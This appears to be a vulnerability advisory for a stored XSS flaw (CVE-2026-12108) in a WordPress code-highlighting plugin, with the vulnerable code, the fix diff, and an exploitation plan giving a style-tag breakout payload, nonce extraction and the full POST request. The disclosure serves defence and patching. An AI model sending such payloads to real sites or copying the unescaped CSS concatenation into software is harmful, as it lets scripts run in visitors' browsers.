CVE-2026-12108

Highlighting Code Block <= 2.2.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'font_family' Setting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
4.4
CVSS Score
4.4
CVSS Score
medium
Severity
2.2.1
Patched in
1d
Time to patch

Description

The Highlighting Code Block plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 2.2.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.2.0
PublishedJuly 9, 2026
Last updatedJuly 10, 2026

What Changed in the Fix

Changes introduced in v2.2.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-12108 (Highlighting Code Block Stored XSS) ## 1. Vulnerability Summary The **Highlighting Code Block** plugin for WordPress (version <= 2.2.0) is vulnerable to **Stored Cross-Site Scripting (XSS)** via the `font_family` setting. The vulnerability exists becaus…

Show full research plan

Exploitation Research Plan: CVE-2026-12108 (Highlighting Code Block Stored XSS)

1. Vulnerability Summary

The Highlighting Code Block plugin for WordPress (version <= 2.2.0) is vulnerable to Stored Cross-Site Scripting (XSS) via the font_family setting. The vulnerability exists because the plugin accepts arbitrary input in the "Font-family" setting field and subsequently renders this value within a :root CSS variable declaration inside a <style> block on the frontend. The output is concatenated into the CSS string without escaping or sanitization, allowing an attacker to break out of the CSS context and the <style> tag to inject arbitrary JavaScript.

While the setting requires Administrator-level permissions to modify, this is a significant finding for WordPress Multisite environments (where site admins are restricted from unfiltered_html) or installations where DISALLOW_UNFILTERED_HTML is enabled.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/options.php (Standard WordPress Settings API handler).
  • Vulnerable Setting: loos_hcb_settings[font_family]
  • Required Capability: manage_options (Administrator level).
  • Action String: update
  • Option Group: hcb_settings (Defined by LOOS_HCB::MENU_SLUG).
  • Preconditions: The attacker must have administrative access. The impact is realized when any user (including other admins) views a frontend page where the code block styles are loaded.

3. Code Flow

  1. Entry Point (Input): In class/loos_hcb_menu.php, the plugin registers the setting loos_hcb_settings (mapped to LOOS_HCB::DB_NAME['settings']) via register_setting(). It defines the font_family field as a textarea.
  2. Storage: When an administrator submits the settings form, WordPress saves the array into the wp_options table under the key loos_hcb_settings.
  3. Processing (Sink): In class/loos_hcb.php, the function get_inline_style() retrieves the setting:
    public static function get_inline_style() {
        $inline_css = '';
        $HCB        = self::$settings; // Merged array from get_option('loos_hcb_settings')
        // ...
        // Font family
        if ( $HCB['font_family'] ) {
            $inline_css .= ':root{--hcb--ff:' . $HCB['font_family'] . '}';
        }
        return $inline_css;
    }
    
  4. Rendering: In class/loos_hcb_scripts.php, the hook_wp_enqueue_scripts() method calls get_inline_style() and passes the raw string to wp_add_inline_style():
    wp_add_inline_style( 'hcb-style', LOOS_HCB::get_inline_style() );
    
    WordPress renders this into the <head> section as:
    <style id='hcb-style-inline-css' type='text/css'>
    :root{--hcb--ff:[USER_INPUT]}
    </style>
    

4. Nonce Acquisition Strategy

Since this exploit targets the options.php endpoint, a valid WordPress nonce for the hcb_settings-options action is required.

  1. Access Settings Page: Log in as an administrator and navigate to the plugin settings page: /wp-admin/options-general.php?page=hcb_settings.
  2. Extract Nonce: Use browser_eval to extract the nonce from the settings form.
    • Form Nonce Field: _wpnonce
    • Referer Nonce Field: _wp_http_referer
  3. JavaScript for Nonce:
    // The nonce is inside the form with action "options.php"
    document.querySelector('form[action="options.php"] input[name="_wpnonce"]').value
    

5. Exploitation Strategy

The goal is to break out of the CSS variable context and the <style> tag.

Payload

} </style><script>alert(document.domain)</script>

HTTP Request (via http_request tool)

  • Method: POST
  • URL: http://[TARGET]/wp-admin/options.php
  • Headers:
    • Content-Type: application/x-www-form-urlencoded
  • Body:
option_page=hcb_settings
&action=update
&_wpnonce=[EXTRACTED_NONCE]
&_wp_http_referer=/wp-admin/options-general.php?page=hcb_settings
&loos_hcb_settings[font_family]=}%20%3C/style%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
&loos_hcb_settings[show_lang]=on
&loos_hcb_settings[show_linenum]=on
&loos_hcb_settings[show_copy]=on
&submit=Save%20Changes

Note: We include other default settings (show_lang, etc.) to ensure the options array is reconstructed correctly during the update_option call.

6. Test Data Setup

  1. Install Plugin: Ensure "Highlighting Code Block" version 2.2.0 is active.
  2. Create Post: Create a public post containing the plugin's block or just any page. The CSS is enqueued on any page where wp_enqueue_scripts runs and the plugin determines it needs to load styles. To be certain, add a code block to a post.
    wp post create --post_type=post --post_title="XSS Test" --post_status=publish --post_content='<!-- wp:loos/hcb-code-block --> <pre class="prism undefined-numbers" data-lang="html"><code>test</code></pre> <!-- /wp:loos/hcb-code-block -->'
    

7. Expected Results

  • After the POST request, the loos_hcb_settings option in the database will contain the payload.
  • Upon visiting the frontend post created in step 6, the HTML source will contain:
    <style id='hcb-style-inline-css' type='text/css'>
    :root{--hcb--ff:} </style><script>alert(document.domain)</script>}
    </style>
    
  • The browser will execute the injected <script> block.

8. Verification Steps

  1. Check Database via CLI:
    wp option get loos_hcb_settings --format=json
    
    Confirm the font_family key contains the payload.
  2. Verify Frontend Render:
    Use http_request (GET) on the frontend URL and check for the presence of the string </style><script>alert.

9. Alternative Approaches

If the options.php route is blocked or the admin cannot access it, check for a direct AJAX save action (though not found in this plugin's source).
An alternative payload context:
If the font_family is reflected inside an attribute (e.g., style="font-family: [INPUT]"), the breakout would change to "; [XSS]. However, in this plugin, it is strictly within a <style> block, so the </style> breakout is the most reliable method.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Highlighting Code Block plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'font_family' setting in versions up to 2.2.0. Authenticated administrators can inject malicious code that breaks out of the CSS :root variable context and the enclosing <style> tag to execute arbitrary JavaScript on the frontend for all users.

Vulnerable Code

// class/loos_hcb_menu.php (lines 20-23 in v2.2.0)
add_action( 'admin_init', function() {
	// データベースに保存されるオプション名を登録
	register_setting( LOOS_HCB::MENU_SLUG, LOOS_HCB::DB_NAME['settings'] );

---

// class/loos_hcb.php (lines 145-156 in v2.2.0)
	public static function get_inline_style() {

		$inline_css = '';
		$HCB        = self::$settings;

		// Font size
		$inline_css .= ':root{--hcb--fz--base: ' . $HCB['fontsize_pc'] . '}';
		$inline_css .= ':root{--hcb--fz--mobile: ' . $HCB['fontsize_sp'] . '}';

		// Font family
		if ( $HCB['font_family'] ) {
			$inline_css .= ':root{--hcb--ff:' . $HCB['font_family'] . '}';
		}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/highlighting-code-block/2.2.0/class/loos_hcb_menu.php /home/deploy/wp-safety.org/data/plugin-versions/highlighting-code-block/2.2.1/class/loos_hcb_menu.php
--- /home/deploy/wp-safety.org/data/plugin-versions/highlighting-code-block/2.2.0/class/loos_hcb_menu.php	2026-03-31 16:59:32.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/highlighting-code-block/2.2.1/class/loos_hcb_menu.php	2026-07-01 04:28:36.000000000 +0000
@@ -20,7 +20,14 @@
  */
 add_action( 'admin_init', function() {
 	// データベースに保存されるオプション名を登録
-	register_setting( LOOS_HCB::MENU_SLUG, LOOS_HCB::DB_NAME['settings'] );
+	register_setting(
+		LOOS_HCB::MENU_SLUG,
+		LOOS_HCB::DB_NAME['settings'],
+		[
+			'type'              => 'array',
+			'sanitize_callback' => [ 'LOOS_HCB_Menu', 'sanitize_settings' ],
+		]
+	);
 
 	//「基本設定」セクション
 	add_settings_section(
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/highlighting-code-block/2.2.0/class/loos_hcb.php /home/deploy/wp-safety.org/data/plugin-versions/highlighting-code-block/2.2.1/class/loos_hcb.php
--- /home/deploy/wp-safety.org/data/plugin-versions/highlighting-code-block/2.2.0/class/loos_hcb.php	2023-11-12 10:10:58.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/highlighting-code-block/2.2.1/class/loos_hcb.php	2026-07-01 04:28:36.000000000 +0000
@@ -142,6 +142,35 @@
 
 
 	/**
+	 * CSS値(font-family / font-size など)を <style> コンテキスト用にサニタイズする。
+	 */
+	public static function sanitize_css_value( $value ) {
+		$value = wp_strip_all_tags( (string) $value );
+		$value = str_replace( [ '<', '>', '{', '}', ';' ], '', $value );
+		return trim( $value );
+	}
+
+	/**
 	 * インラインスタイルの生成
 	 */
 	public static function get_inline_style() {
@@ -150,12 +179,13 @@
 		$HCB        = self::$settings;
 
 		// Font size
-		$inline_css .= ':root{--hcb--fz--base: ' . $HCB['fontsize_pc'] . '}';
-		$inline_css .= ':root{--hcb--fz--mobile: ' . $HCB['fontsize_sp'] . '}';
+		$inline_css .= ':root{--hcb--fz--base: ' . self::sanitize_css_value( $HCB['fontsize_pc'] ) . '}';
+		$inline_css .= ':root{--hcb--fz--mobile: ' . self::sanitize_css_value( $HCB['fontsize_sp'] ) . '}';
 
 		// Font family
-		if ( $HCB['font_family'] ) {
-			$inline_css .= ':root{--hcb--ff:' . $HCB['font_family'] . '}';
+		$font_family = self::sanitize_css_value( $HCB['font_family'] );
+		if ( $font_family ) {
+			$inline_css .= ':root{--hcb--ff:' . $font_family . '}';
 		}

Exploit Outline

To exploit this vulnerability, an attacker with Administrator-level privileges must first retrieve a valid WordPress nonce from the plugin's settings page (/wp-admin/options-general.php?page=hcb_settings). Using this nonce, the attacker sends a POST request to /wp-admin/options.php to update the 'loos_hcb_settings[font_family]' option. The payload consists of a closing brace to escape the CSS declaration, a closing </style> tag, and a malicious <script> tag (e.g., '} </style><script>alert(1)</script>'). When any user visits a frontend page containing a code block, the plugin renders this unsanitized string within an inline style block in the document <head>, resulting in the execution of the injected JavaScript.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.